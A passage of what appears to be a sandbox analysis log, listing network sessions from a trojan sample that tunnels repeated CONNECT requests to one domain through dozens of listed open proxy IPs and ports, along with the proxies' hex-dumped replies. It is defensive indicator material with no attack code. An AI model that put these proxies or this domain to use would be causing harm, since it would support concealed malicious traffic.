Feb 23, 2024 14:28:26.565391064 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:26.652834892 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:26 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
662	192.168.2.8	50793	45.159.189.244	3128	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:26.566994905 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
663	192.168.2.8	51715	200.10.150.115	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:26.580879927 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:29.679322004 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:32.679701090 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:38.695226908 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:50.788578987 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:29:02.788460970 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:29:14.897866964 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
664	192.168.2.8	51711	45.11.95.165	5214	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:26.592392921 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:34.810118914 CET	228	IN	HTTP/1.0 502 Bad Gateway Connection: close Content-type: text/html; charset=utf-8 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 68 32 3e 3c 68 33 3e 48 6f 73 74 20 4e 6f 74 20 46 6f 75 6e 64 20 6f 72 20 63 6f 6e 6e 65 63 74 69 6f 6e 20 66 61 69 6c 65 64 3c 2f 68 33 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>502 Bad Gateway</title></head><body><h2>502 Bad Gateway</h2><h3>Host Not Found or connection failed</h3></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
665	192.168.2.8	52076	196.20.125.133	8083	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:26.593372107 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:28.206630945 CET	339	IN	HTTP/1.1 400 Bad Request via: 1.1 HermesBypass Server: cloudflare Date: Fri, 23 Feb 2024 13:28:27 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
666	192.168.2.8	52112	141.94.174.6	16526	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:26.596338034 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
667	192.168.2.8	52135	139.162.238.184	60708	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:26.601022959 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:27.179198980 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:27.695585966 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:28.695386887 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:30.695122004 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:32.679613113 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:34.695183039 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:38.695183039 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:46.679399014 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
668	192.168.2.8	52022	20.24.43.214	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:26.609143019 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:26.945382118 CET	319	IN	HTTP/1.1 403 Forbidden Server: squid Mime-Version: 1.0 Date: Fri, 23 Feb 2024 13:28:26 GMT Content-Type: text/html;charset=utf-8 Content-Length: 17 X-Squid-Error: ERR_ACCESS_DENIED 0 X-Cache: MISS from cdn-fintech.info X-Cache-Lookup: NONE from cdn-fintech.info:8123 Connection: keep-alive Data Raw: 45 52 52 5f 41 43 43 45 53 53 5f 44 45 4e 49 45 44 Data Ascii: ERR_ACCESS_DENIED

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
669	192.168.2.8	52234	104.21.85.200	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:26.613014936 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:26.700933933 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:26 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
670	192.168.2.8	52036	61.111.38.5	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:26.628878117 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:26.919333935 CET	507	IN	HTTP/1.1 502 Proxy Error Date: Fri, 23 Feb 2024 13:28:28 GMT Server: Apache Content-Length: 341 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 32 20 50 72 6f 78 79 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 50 72 6f 78 79 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 70 72 6f 78 79 20 73 65 72 76 65 72 20 72 65 63 65 69 76 65 64 20 61 6e 20 69 6e 76 61 6c 69 64 0d 0a 72 65 73 70 6f 6e 73 65 20 66 72 6f 6d 20 61 6e 20 75 70 73 74 72 65 61 6d 20 73 65 72 76 65 72 2e 3c 62 72 20 2f 3e 0d 0a 54 68 65 20 70 72 6f 78 79 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 3c 70 3e 52 65 61 73 6f 6e 3a 20 3c 73 74 72 6f 6e 67 3e 45 72 72 6f 72 20 72 65 61 64 69 6e 67 20 66 72 6f 6d 20 72 65 6d 6f 74 65 20 73 65 72 76 65 72 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 70 3e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>502 Proxy Error</title></head><body><h1>Proxy Error</h1><p>The proxy server received an invalidresponse from an upstream server.<br />The proxy server could not handle the request<p>Reason: <strong>Error reading from remote server</strong></p></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
671	192.168.2.8	52153	45.11.95.165	6008	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:26.690052032 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
672	192.168.2.8	51794	2.57.131.19	4145	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:26.690879107 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
673	192.168.2.8	52054	115.74.158.40	1080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:26.690995932 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
674	192.168.2.8	51741	42.49.148.167	9001	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:26.706408024 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:29.361447096 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
675	192.168.2.8	52247	188.164.193.178	46392	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:26.713275909 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:27.194928885 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:27.876121998 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:28.992064953 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:31.381556034 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:33.615845919 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:35.898238897 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
676	192.168.2.8	52107	5.44.42.115	58386	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:26.714850903 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
677	192.168.2.8	52141	103.146.137.9	1081	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:26.716629028 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
678	192.168.2.8	50362	117.160.250.138	8899	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:26.725085020 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:27.796009064 CET	303	IN	HTTP/1.1 400 Bad Request Server: openresty Date: Fri, 23 Feb 2024 13:28:27 GMT Content-Type: text/html Content-Length: 154 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
679	192.168.2.8	51790	171.247.241.157	1080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:26.728547096 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
680	192.168.2.8	51810	107.180.101.18	27053	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:26.745709896 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:29.816907883 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:32.898197889 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:38.991930962 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
681	192.168.2.8	52248	20.206.106.192	8123	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:26.772607088 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:26.984517097 CET	319	IN	HTTP/1.1 403 Forbidden Server: squid Mime-Version: 1.0 Date: Fri, 23 Feb 2024 13:28:26 GMT Content-Type: text/html;charset=utf-8 Content-Length: 17 X-Squid-Error: ERR_ACCESS_DENIED 0 X-Cache: MISS from cdn-fintech.info X-Cache-Lookup: NONE from cdn-fintech.info:8123 Connection: keep-alive Data Raw: 45 52 52 5f 41 43 43 45 53 53 5f 44 45 4e 49 45 44 Data Ascii: ERR_ACCESS_DENIED

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
682	192.168.2.8	51821	170.106.193.128	30001	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:26.772618055 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
683	192.168.2.8	52268	188.164.193.178	30663	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:26.783452034 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:27.288611889 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:27.882582903 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:29.194988966 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:31.491924047 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:33.789197922 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:36.195084095 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:40.882579088 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
684	192.168.2.8	52260	185.165.46.208	3128	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:26.839591980 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:30.056050062 CET	22	IN	HTTP/1.1 502 ERROR

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
685	192.168.2.8	51728	203.154.39.146	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:26.839672089 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
686	192.168.2.8	51770	23.254.231.55	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:26.839673042 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:29.356152058 CET	1011	IN	HTTP/1.1 500 Internal Server Error Date: Fri, 23 Feb 2024 13:28:29 GMT Server: Apache/2.4.43 (Win64) OpenSSL/1.1.1g PHP/7.4.7 Content-Length: 795 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 70 6f 73 74 6d 61 73 74 65 72 40 6c 6f 63 61 6c 68 6f 73 74 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 20 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 20 65 72 72 6f 72 2e 3c 2f 70 3e 0a 3c 70 3e 4d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 61 62 6f 75 74 20 74 68 69 73 20 65 72 72 6f 72 20 6d 61 79 20 62 65 20 61 76 61 69 6c 61 62 6c 65 0a 69 6e 20 74 68 65 20 73 65 72 76 65 72 20 65 72 72 6f 72 20 6c 6f 67 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 